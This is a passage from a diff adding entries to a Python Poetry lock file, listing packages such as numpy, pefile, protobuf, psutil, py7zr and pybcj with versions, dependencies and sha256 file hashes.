+ {file = "numpy-1.24.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:4719d5aefb5189f50887773699eaf94e7d1e02bf36c1a9d353d9f46703758ca4"},
+ {file = "numpy-1.24.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:0ec87a7084caa559c36e0a2309e4ecb1baa03b687201d0a847c8b0ed476a7187"},
+ {file = "numpy-1.24.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ea8282b9bcfe2b5e7d491d0bf7f3e2da29700cec05b49e64d6246923329f2b02"},
+ {file = "numpy-1.24.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:210461d87fb02a84ef243cac5e814aad2b7f4be953b32cb53327bb49fd77fbb4"},
+ {file = "numpy-1.24.3-cp39-cp39-win32.whl", hash = "sha256:784c6da1a07818491b0ffd63c6bbe5a33deaa0e25a20e1b3ea20cf0e43f8046c"},
+ {file = "numpy-1.24.3-cp39-cp39-win_amd64.whl", hash = "sha256:d5036197ecae68d7f491fcdb4df90082b0d4960ca6599ba2659957aafced7c17"},
+ {file = "numpy-1.24.3-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:352ee00c7f8387b44d19f4cada524586f07379c0d49270f87233983bc5087ca0"},
+ {file = "numpy-1.24.3-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1a7d6acc2e7524c9955e5c903160aa4ea083736fde7e91276b0e5d98e6332812"},
+ {file = "numpy-1.24.3-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:35400e6a8d102fd07c71ed7dcadd9eb62ee9a6e84ec159bd48c28235bbb0f8e4"},
+ {file = "numpy-1.24.3.tar.gz", hash = "sha256:ab344f1bf21f140adab8e47fdbc7c35a477dc01408791f8ba00d018dd0bc5155"},
+]
+
+[[package]]
+name = "olefile"
+version = "0.46"
+description = "Python package to parse, read and write Microsoft OLE2 files (Structured Storage or Compound Document, Microsoft Office)"
+category = "main"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
+files = [
+ {file = "olefile-0.46.zip", hash = "sha256:133b031eaf8fd2c9399b78b8bc5b8fcbe4c31e85295749bb17a87cba8f3c3964"},
+]
+
+[[package]]
+name = "packaging"
+version = "23.1"
+description = "Core utilities for Python packages"
+category = "dev"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "packaging-23.1-py3-none-any.whl", hash = "sha256:994793af429502c4ea2ebf6bf664629d07c1a9fe974af92966e4b8d2df7edc61"},
+ {file = "packaging-23.1.tar.gz", hash = "sha256:a392980d2b6cffa644431898be54b0045151319d1e7ec34f0cfed48767dd334f"},
+]
+
+[[package]]
+name = "pamqp"
+version = "3.2.1"
+description = "RabbitMQ Focused AMQP low-level library"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "pamqp-3.2.1-py2.py3-none-any.whl", hash = "sha256:15acef752356593ca569d13dfedc8ada9f17deeeb8cec4f7b77825e2b6c7de3e"},
+ {file = "pamqp-3.2.1.tar.gz", hash = "sha256:22550ceb1ca50aafda65873e77e8c1c1b139fb5975e1a09860fae940cf8e970a"},
+]
+
+[package.extras]
+codegen = ["lxml", "requests", "yapf"]
+testing = ["coverage", "flake8", "flake8-comprehensions", "flake8-deprecated", "flake8-import-order", "flake8-print", "flake8-quotes", "flake8-rst-docstrings", "flake8-tuple", "yapf"]
+
+[[package]]
+name = "pathspec"
+version = "0.11.1"
+description = "Utility library for gitignore style pattern matching of file paths."
+category = "dev"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "pathspec-0.11.1-py3-none-any.whl", hash = "sha256:d8af70af76652554bd134c22b3e8a1cc46ed7d91edcdd721ef1a0c51a84a5293"},
+ {file = "pathspec-0.11.1.tar.gz", hash = "sha256:2798de800fa92780e33acca925945e9a19a133b715067cf165b8866c15a31687"},
+]
+
+[[package]]
+name = "pbr"
+version = "5.11.1"
+description = "Python Build Reasonableness"
+category = "dev"
+optional = false
+python-versions = ">=2.6"
+files = [
+ {file = "pbr-5.11.1-py2.py3-none-any.whl", hash = "sha256:567f09558bae2b3ab53cb3c1e2e33e726ff3338e7bae3db5dc954b3a44eef12b"},
+ {file = "pbr-5.11.1.tar.gz", hash = "sha256:aefc51675b0b533d56bb5fd1c8c6c0522fe31896679882e1c4c63d5e4a0fccb3"},
+]
+
+[[package]]
+name = "pefile"
+version = "2022.5.30"
+description = "Python PE parsing module"
+category = "main"
+optional = false
+python-versions = ">=3.6.0"
+files = [
+ {file = "pefile-2022.5.30.tar.gz", hash = "sha256:a5488a3dd1fd021ce33f969780b88fe0f7eebb76eb20996d7318f307612a045b"},
+]
+
+[package.dependencies]
+future = "*"
+
+[[package]]
+name = "platformdirs"
+version = "3.4.0"
+description = "A small Python package for determining appropriate platform-specific dirs, e.g. a \"user data dir\"."
+category = "dev"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "platformdirs-3.4.0-py3-none-any.whl", hash = "sha256:01437886022decaf285d8972f9526397bfae2ac55480ed372ed6d9eca048870a"},
+ {file = "platformdirs-3.4.0.tar.gz", hash = "sha256:a5e1536e5ea4b1c238a1364da17ff2993d5bd28e15600c2c8224008aff6bbcad"},
+]
+
+[package.extras]
+docs = ["furo (>=2023.3.27)", "proselint (>=0.13)", "sphinx (>=6.1.3)", "sphinx-autodoc-typehints (>=1.23,!=1.23.4)"]
+test = ["appdirs (==1.4.4)", "covdefaults (>=2.3)", "pytest (>=7.3.1)", "pytest-cov (>=4)", "pytest-mock (>=3.10)"]
+
+[[package]]
+name = "pluggy"
+version = "1.0.0"
+description = "plugin and hook calling mechanisms for python"
+category = "dev"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "pluggy-1.0.0-py2.py3-none-any.whl", hash = "sha256:74134bbf457f031a36d68416e1509f34bd5ccc019f0bcc952c7b909d06b37bd3"},
+ {file = "pluggy-1.0.0.tar.gz", hash = "sha256:4224373bacce55f955a878bf9cfa763c1e360858e330072059e10bad68531159"},
+]
+
+[package.extras]
+dev = ["pre-commit", "tox"]
+testing = ["pytest", "pytest-benchmark"]
+
+[[package]]
+name = "prometheus-async"
+version = "22.2.0"
+description = "Async helpers for prometheus_client."
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "prometheus-async-22.2.0.tar.gz", hash = "sha256:b0426370eb3b3bacd99afcf1fcc669c118cb67603cc951a6fe12434e9d4307f2"},
+ {file = "prometheus_async-22.2.0-py3-none-any.whl", hash = "sha256:5cbfa535561342b834c087c4f3f3be0a3cb8785a0b8748111c916f3d68bbc370"},
+]
+
+[package.dependencies]
+aiohttp = {version = ">=3", optional = true, markers = "extra == \"aiohttp\""}
+prometheus_client = ">=0.8.0"
+wrapt = "*"
+
+[package.extras]
+aiohttp = ["aiohttp (>=3)"]
+consul = ["aiohttp (>=3)"]
+dev = ["aiohttp", "cogapp", "coverage[toml]", "furo", "mypy", "myst-parser", "pre-commit", "pytest", "pytest-asyncio", "pytest-twisted", "sphinx", "sphinx-notfound-page", "sphinxcontrib-asyncio", "tomli", "twisted"]
+docs = ["aiohttp", "furo", "myst-parser", "sphinx", "sphinx-notfound-page", "sphinxcontrib-asyncio", "twisted"]
+tests = ["coverage[toml]", "pytest", "pytest-asyncio"]
+twisted = ["twisted"]
+
+[[package]]
+name = "prometheus-client"
+version = "0.16.0"
+description = "Python client for the Prometheus monitoring system."
+category = "main"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "prometheus_client-0.16.0-py3-none-any.whl", hash = "sha256:0836af6eb2c8f4fed712b2f279f6c0a8bbab29f9f4aa15276b91c7cb0d1616ab"},
+ {file = "prometheus_client-0.16.0.tar.gz", hash = "sha256:a03e35b359f14dd1630898543e2120addfdeacd1a6069c1367ae90fd93ad3f48"},
+]
+
+[package.extras]
+twisted = ["twisted"]
+
+[[package]]
+name = "protobuf"
+version = "4.22.3"
+description = ""
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "protobuf-4.22.3-cp310-abi3-win32.whl", hash = "sha256:8b54f56d13ae4a3ec140076c9d937221f887c8f64954673d46f63751209e839a"},
+ {file = "protobuf-4.22.3-cp310-abi3-win_amd64.whl", hash = "sha256:7760730063329d42a9d4c4573b804289b738d4931e363ffbe684716b796bde51"},
+ {file = "protobuf-4.22.3-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:d14fc1a41d1a1909998e8aff7e80d2a7ae14772c4a70e4bf7db8a36690b54425"},
+ {file = "protobuf-4.22.3-cp37-abi3-manylinux2014_aarch64.whl", hash = "sha256:70659847ee57a5262a65954538088a1d72dfc3e9882695cab9f0c54ffe71663b"},
+ {file = "protobuf-4.22.3-cp37-abi3-manylinux2014_x86_64.whl", hash = "sha256:13233ee2b9d3bd9a5f216c1fa2c321cd564b93d8f2e4f521a85b585447747997"},
+ {file = "protobuf-4.22.3-cp37-cp37m-win32.whl", hash = "sha256:ecae944c6c2ce50dda6bf76ef5496196aeb1b85acb95df5843cd812615ec4b61"},
+ {file = "protobuf-4.22.3-cp37-cp37m-win_amd64.whl", hash = "sha256:d4b66266965598ff4c291416be429cef7989d8fae88b55b62095a2331511b3fa"},
+ {file = "protobuf-4.22.3-cp38-cp38-win32.whl", hash = "sha256:f08aa300b67f1c012100d8eb62d47129e53d1150f4469fd78a29fa3cb68c66f2"},
+ {file = "protobuf-4.22.3-cp38-cp38-win_amd64.whl", hash = "sha256:f2f4710543abec186aee332d6852ef5ae7ce2e9e807a3da570f36de5a732d88e"},
+ {file = "protobuf-4.22.3-cp39-cp39-win32.whl", hash = "sha256:7cf56e31907c532e460bb62010a513408e6cdf5b03fb2611e4b67ed398ad046d"},
+ {file = "protobuf-4.22.3-cp39-cp39-win_amd64.whl", hash = "sha256:e0e630d8e6a79f48c557cd1835865b593d0547dce221c66ed1b827de59c66c97"},
+ {file = "protobuf-4.22.3-py3-none-any.whl", hash = "sha256:52f0a78141078077cfe15fe333ac3e3a077420b9a3f5d1bf9b5fe9d286b4d881"},
+ {file = "protobuf-4.22.3.tar.gz", hash = "sha256:23452f2fdea754a8251d0fc88c0317735ae47217e0d27bf330a30eec2848811a"},
+]
+
+[[package]]
+name = "psutil"
+version = "5.9.5"
+description = "Cross-platform lib for process and system monitoring in Python."
+category = "main"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
+files = [
+ {file = "psutil-5.9.5-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:be8929ce4313f9f8146caad4272f6abb8bf99fc6cf59344a3167ecd74f4f203f"},
+ {file = "psutil-5.9.5-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:ab8ed1a1d77c95453db1ae00a3f9c50227ebd955437bcf2a574ba8adbf6a74d5"},
+ {file = "psutil-5.9.5-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:4aef137f3345082a3d3232187aeb4ac4ef959ba3d7c10c33dd73763fbc063da4"},
+ {file = "psutil-5.9.5-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:ea8518d152174e1249c4f2a1c89e3e6065941df2fa13a1ab45327716a23c2b48"},
+ {file = "psutil-5.9.5-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:acf2aef9391710afded549ff602b5887d7a2349831ae4c26be7c807c0a39fac4"},
+ {file = "psutil-5.9.5-cp27-none-win32.whl", hash = "sha256:5b9b8cb93f507e8dbaf22af6a2fd0ccbe8244bf30b1baad6b3954e935157ae3f"},
+ {file = "psutil-5.9.5-cp27-none-win_amd64.whl", hash = "sha256:8c5f7c5a052d1d567db4ddd231a9d27a74e8e4a9c3f44b1032762bd7b9fdcd42"},
+ {file = "psutil-5.9.5-cp36-abi3-macosx_10_9_x86_64.whl", hash = "sha256:3c6f686f4225553615612f6d9bc21f1c0e305f75d7d8454f9b46e901778e7217"},
+ {file = "psutil-5.9.5-cp36-abi3-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7a7dd9997128a0d928ed4fb2c2d57e5102bb6089027939f3b722f3a210f9a8da"},
+ {file = "psutil-5.9.5-cp36-abi3-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:89518112647f1276b03ca97b65cc7f64ca587b1eb0278383017c2a0dcc26cbe4"},
+ {file = "psutil-5.9.5-cp36-abi3-win32.whl", hash = "sha256:104a5cc0e31baa2bcf67900be36acde157756b9c44017b86b2c049f11957887d"},
+ {file = "psutil-5.9.5-cp36-abi3-win_amd64.whl", hash = "sha256:b258c0c1c9d145a1d5ceffab1134441c4c5113b2417fafff7315a917a026c3c9"},
+ {file = "psutil-5.9.5-cp38-abi3-macosx_11_0_arm64.whl", hash = "sha256:c607bb3b57dc779d55e1554846352b4e358c10fff3abf3514a7a6601beebdb30"},
+ {file = "psutil-5.9.5.tar.gz", hash = "sha256:5410638e4df39c54d957fc51ce03048acd8e6d60abc0f5107af51e5fb566eb3c"},
+]
+
+[package.extras]
+test = ["enum34", "ipaddress", "mock", "pywin32", "wmi"]
+
+[[package]]
+name = "py7zr"
+version = "0.20.5"
+description = "Pure python 7-zip library"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "py7zr-0.20.5-py3-none-any.whl", hash = "sha256:17fe8bb9379ef1d416e6e400f29158ad71dc409869c7206d880441c70806f07f"},
+ {file = "py7zr-0.20.5.tar.gz", hash = "sha256:6fb4889c0fa32581818a3366984083253585d6c794e82c3242b8a12d6aeaabd3"},
+]
+
+[package.dependencies]
+brotli = {version = ">=1.0.9", markers = "platform_python_implementation == \"CPython\""}
+brotlicffi = {version = ">=1.0.9.2", markers = "platform_python_implementation == \"PyPy\""}
+inflate64 = {version = ">=0.3.1", markers = "python_version > \"3.6\""}
+multivolumefile = ">=0.2.3"
+psutil = {version = "*", markers = "sys_platform != \"cygwin\""}
+pybcj = ">=0.6.0"
+pycryptodomex = ">=3.6.6"
+pyppmd = ">=0.18.1,<1.1.0"
+pyzstd = ">=0.14.4"
+texttable = "*"
+
+[package.extras]
+check = ["black (>=23.1.0)", "check-manifest", "flake8 (<7)", "flake8-black (>=0.3.6)", "flake8-deprecated", "flake8-isort", "isort (>=5.0.3)", "mypy (>=0.940)", "mypy-extensions (>=0.4.1)", "pygments", "readme-renderer", "twine", "types-psutil"]
+debug = ["pytest", "pytest-leaks", "pytest-profiling"]
+docs = ["docutils", "sphinx (>=5.0)", "sphinx-a4doc", "sphinx-py3doc-enhanced-theme"]
+test = ["coverage[toml] (>=5.2)", "coveralls (>=2.1.1)", "py-cpuinfo", "pyannotate", "pytest", "pytest-benchmark", "pytest-cov", "pytest-remotedata", "pytest-timeout"]
+test-compat = ["libarchive-c"]
+
+[[package]]
+name = "pyasn1"
+version = "0.5.0"
+description = "Pure-Python implementation of ASN.1 types and DER/BER/CER codecs (X.208)"
+category = "main"
+optional = false
+python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7"
+files = [
+ {file = "pyasn1-0.5.0-py2.py3-none-any.whl", hash = "sha256:87a2121042a1ac9358cabcaf1d07680ff97ee6404333bacca15f76aa8ad01a57"},
+ {file = "pyasn1-0.5.0.tar.gz", hash = "sha256:97b7290ca68e62a832558ec3976f15cbf911bf5d7c7039d8b861c2a0ece69fde"},
+]
+
+[[package]]
+name = "pybcj"
+version = "1.0.1"
+description = "bcj filter library"
+category = "main"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "pybcj-1.0.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:20fc0d8f67e2d9747e0c31082d5f64b112258ae602a85aa5c7e6bf5a7cad287b"},
+ {file = "pybcj-1.0.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:43e8bc75773ca06ee7a64602b799613171e4edf4d9d8fd38fa5c49f1cdbb4407"},
+ {file = "pybcj-1.0.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a81f14f213a75597f9be44feb97740a51adda558465fb159114472dc2ab39ef8"},
+ {file = "pybcj-1.0.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:225a0addf4b3d580bf4eae583b5168dac0125a703c53ded8b3f120882e1e0312"},
+ {file = "pybcj-1.0.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dc79ed4773cd35328377a8fedbbdcafb3a9d242ee63b96863c0692c81faefab8"},
+ {file = "pybcj-1.0.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0eaa90639992b6096afb1485380fae7f084483db6b92867847a3bfdf22cc4efc"},
+ {file = "pybcj-1.0.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:570a3cf4e016dcb0fc561991833e5170a2a0bc6ee88fe5667591f356bd7b7895"},
+ {file = "pybcj-1.0.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:46b82fe50eb8171ee2205e935f3fd5900e31beb5e54e10c88f23a5420902467d"},
+ {file = "pybcj-1.0.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:2d6b34ec233fcf5a83ccfbf422fef22256947eaa7077aaa012e5961d15aa302c"},
+ {file = "pybcj-1.0.1-cp310-cp310-win32.whl", hash = "sha256:fa787b414c4dc6b6cd75338fac18a7dbb53a09443dd863020a2d2bda76940ca6"},
+ {file = "pybcj-1.0.1-cp310-cp310-win_amd64.whl", hash = "sha256:970dc23ca1c64611d35a3abe76a059cf551da53d62faefd84c5bf3e0af1602d1"},
+ {file = "pybcj-1.0.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:c854a206d8c3a5a959b803405760f3627bb4878450e2f36b5d35af09c89152fc"},
+ {file = "pybcj-1.0.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:21098001200273c3c9fd90e7bf909fb905a8e1c102c80b604cb7c6a3103ef7e0"},
+ {file = "pybcj-1.0.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:39dd836134e261ec769cd5aa9ae7a3a330a7dac81efb66eb5504643abd8235df"},
+ {file = "pybcj-1.0.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:acfc4a02ddf22f6df7184441b39f38c31e95aa8af41de4d2f825821ab1fb85c6"},
+ {file = "pybcj-1.0.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f4428b6808d781f4b605a27f53fc10a3ca343d1cd901c691b9ba2e4ed85a5fc7"},
+ {file = "pybcj-1.0.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:74d34340323996b70dbd73e9530cca71c05ff7c97e30fe4d32aeea2f877836ca"},
+ {file = "pybcj-1.0.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:bf87f2a7f827656bc6e1d9888d47931aa0ae35cdc4ff33b1cec70d8d462590b3"},
+ {file = "pybcj-1.0.1-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:e6a74cb618da93ac1322d6a548a4508e76eb4c388ed1c80560bc25d8764cf272"},
+ {file = "pybcj-1.0.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:f472da992a6ba58381c0314b994c01d20e522ff8836417ef1c0975bdae142406"},
+ {file = "pybcj-1.0.1-cp311-cp311-win32.whl", hash = "sha256:f58e489e43c9a1688c7d5ceb7455b44952d87f183b7b9c915b301478a2b3bfbe"},
+ {file = "pybcj-1.0.1-cp311-cp311-win_amd64.whl", hash = "sha256:a74e70bf3fd50a413fdce4264e037b8e8f34cb8d9207ac364167b6eb076c14ec"},
+ {file = "pybcj-1.0.1-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:8e846a8272bf02202794fe22beaf389ed27c2d8ebf59aafb43af4935feac0389"},
+ {file = "pybcj-1.0.1-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:421f211fb15aeb836b4ba61174cb409fc82222ab3b2486deb4953ae863e6507b"},
+ {file = "pybcj-1.0.1-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bdabbe7fd66886943393ecf98318d7801dd40183af80314acd4464bccdd44d53"},
+ {file = "pybcj-1.0.1-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:731800acfc6112132aa2b7d08f9d6fe49a0c0071b30985809d084e238af98dac"},
+ {file = "pybcj-1.0.1-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:09872b32edad4e3653d5b357b244d267ca58fe52d4e1dd3cdff816d3bb9d9f7c"},
+ {file = "pybcj-1.0.1-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:5de90f8b6c7fc1d28dbe74c29b1d5053a7a8703cbc2c6f4f112907ffd7529f8e"},
+ {file = "pybcj-1.0.1-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:10961ea10ae930b9348132707b9dd3cf3e71a41ef1df7656fbc4f14a71f10747"},
+ {file = "pybcj-1.0.1-cp36-cp36m-win32.whl", hash = "sha256:6f589af70286ec6565e3415145a03abc3c14a23ed7ed198ac741de81af332f26"},
+ {file = "pybcj-1.0.1-cp36-cp36m-win_amd64.whl", hash = "sha256:b901f12380e988da07f21bb6b75da7f91fd9feffb43fcf70fad698e40a2ef3a7"},
+ {file = "pybcj-1.0.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:2e1859d36c073231737956fbeb5bbcfa8dba880e1b66bfbd001466718d6d89dc"},
+ {file = "pybcj-1.0.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:421ed75e54ebecd79c80178c1df5bdbe1e0e3e10e7efef5f011b5f0be6a9a12f"},
+ {file = "pybcj-1.0.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:872697d8bff2572e4225ed8cbce17be338faac28ec1ab3c00419aaef2f56dd3c"},
+ {file = "pybcj-1.0.1-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:dc23f2ac2c1ded250f1aa66fbd1a3d823f76de549978b61eed4fb34affc11338"},
+ {file = "pybcj-1.0.1-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:8efed581f2ee74f1e0ec04a10e97881b93abc258d13b15ef966aee71732ac152"},
+ {file = "pybcj-1.0.1-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:bb378b0f133e19d437eca4327bac7c3f38e30950c5c604092c72b18cba839bc2"},
+ {file = "pybcj-1.0.1-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:534b8b253dbdb746c06bab28383db31d7e2b42aa9b33ed4e7836319622dcd75b"},
+ {file = "pybcj-1.0.1-cp37-cp37m-win32.whl", hash = "sha256:15edd1786617127ecfda4274bbb04f09ae299c474ada86e369bcf050d5cb88dd"},
+ {file = "pybcj-1.0.1-cp37-cp37m-win_amd64.whl", hash = "sha256:393d95f83e47976d137bcec7b66986f51282dcb2091933f88983dd7eb89e59c4"},
+ {file = "pybcj-1.0.1-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:e89a814f1727be7d543ac6910f0d94131f43a337e811ab684606d42dbc22b701"},
+ {file = "pybcj-1.0.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:b3861996b06b8238f799b4f1bd9542d1a8ae8e4765adbdde25ed011c3bda11df"},
+ {file = "pybcj-1.0.1-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:7801ee9a9fcd47b92d4d90ff9a28cfdc23195cad72bd8032938ab3c794942b43"},
+ {file = "pybcj-1.0.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:10182725b0e6aa944d13a10a4a9cb5208bafe0016b4326253340948153de4bc0"},
+ {file = "pybcj-1.0.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9fc313b1a5547c5416982853f2de1454980704f3ab3dbcad18dacdc565a2eafc"},
+ {file = "pybcj-1.0.1-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7b3773a77ae3b18778c9bf22c7ba6478a0e5416f84b7d2ac6d764001f6d0d985"},
+ {file = "pybcj-1.0.1-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:c72ff262613c9a6f20e80bcf1e8bbc000b78b95a7fa301164ab3e3bd23bd936c"},
+ {file = "pybcj-1.0.1-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:262f53e27bca6096e3424c63e5e59948b10985eee4b03a5d70c3f3f6161a79e7"},
+ {file = "pybcj-1.0.1-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:efe75e3b8768c4f9d454d3c1b2b2a67e757f2b00d638146d3a4cddb38460fc3a"},
+ {file = "pybcj-1.0.1-cp38-cp38-win32.whl", hash = "sha256:a77796b4c5370cedd4fad2264b6d7a78cb40229c7fa3cbcab24df3adea768962"},
+ {file = "pybcj-1.0.1-cp38-cp38-win_amd64.whl", hash = "sha256:4d10dd75fad48555e9530c5565c7ccf13754adad2fe331feefb263055cdca7b3"},
+ {file = "pybcj-1.0.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:1c0e1657c233f9f4070ab578951e03d569f1b645042ce661341091f50e41b541"},
+ {file = "pybcj-1.0.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:603daa737579cf69efb368fab716cdce18d0b2615af77bb623f5f42aa546b3d8"},
+ {file = "pybcj-1.0.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:df75707f466ab6fa086f164bff2df75fd16543c8d43ca43a268f938c1144e792"},
+ {file = "pybcj-1.0.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fda423836d7d69cba6a6f99e7a34c2e5fe3621e5e945cd25ea9ba60a96223254"},
+ {file = "pybcj-1.0.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3847387b43af47d9677952b8a22d9c2d8a544c2175b6d5304c200669c05d39e1"},
+ {file = "pybcj-1.0.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b99f4291e59dcbe548be5a1e8c6a1a19a860184526c2d14fc374ec687b98ad7d"},
+ {file = "pybcj-1.0.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:05fad9a905772774aacc96cb174571ac1f5afa80b9f54c6ec414d369865d305c"},
+ {file = "pybcj-1.0.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:d5c4ca6faff0af4b5f3e7d88d13ec76f8cac36c9bcc814b8c84d9f3f951b2cf9"},
+ {file = "pybcj-1.0.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:4bc8720f3a224c27bd413a930b9bec5f225fda050641258967b1ebb252a053fb"},
+ {file = "pybcj-1.0.1-cp39-cp39-win32.whl", hash = "sha256:d61f287f820787d3acf60d113c5ce6e506870d9d3103bc37a74373e72ce9d7a6"},
+ {file = "pybcj-1.0.1-cp39-cp39-win_amd64.whl", hash = "sha256:bbb49772fc3896850a704215160df8316db89e5e8876b2d8af6c6c15b4e0f6ea"},
+ {file = "pybcj-1.0.1-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:c1e02170f8d358a8ddc716606760c73d55eea6bdb0cca2d97b86447e9524708b"},
+ {file = "pybcj-1.0.1-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bc1684b9f7ec92d2ae94a137ec311bd2227f684429521061af7ceed4952c7f72"},
+ {file = "pybcj-1.0.1-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1e6434a46f852cd3e6929633b43537887bd381bc614dbf5c4a128fdde4966b3a"},
+ {file = "pybcj-1.0.1-pp37-pypy37_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:795dff9229dc024e54bd0f618f5a3adb269ee0cccd7ac9a0bef29df388beed23"},
+ {file = "pybcj-1.0.1-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:358dba3dc39a07cded6897b9f99bb5b951a0ad95d567eda535b44861caa02f5b"},
+ {file = "pybcj-1.0.1-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:6df9eccc99a0d7bc091b58cff2f507b89f076d657253975fa2ca9eb42dbb4733"},
+ {file = "pybcj-1.0.1-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f46ba61c942ee64198444c9562c5cf089eaf97f17b413e15fa1c0614df304734"},
+ {file = "pybcj-1.0.1-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f2f950ca403ffaa808a017e40e3371115bcb0b4b1061772b03e7d842555132ac"},
+ {file = "pybcj-1.0.1-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6485c6b091504c0e6431a9495309271626eaa9ecb23276903486824f94f4c551"},
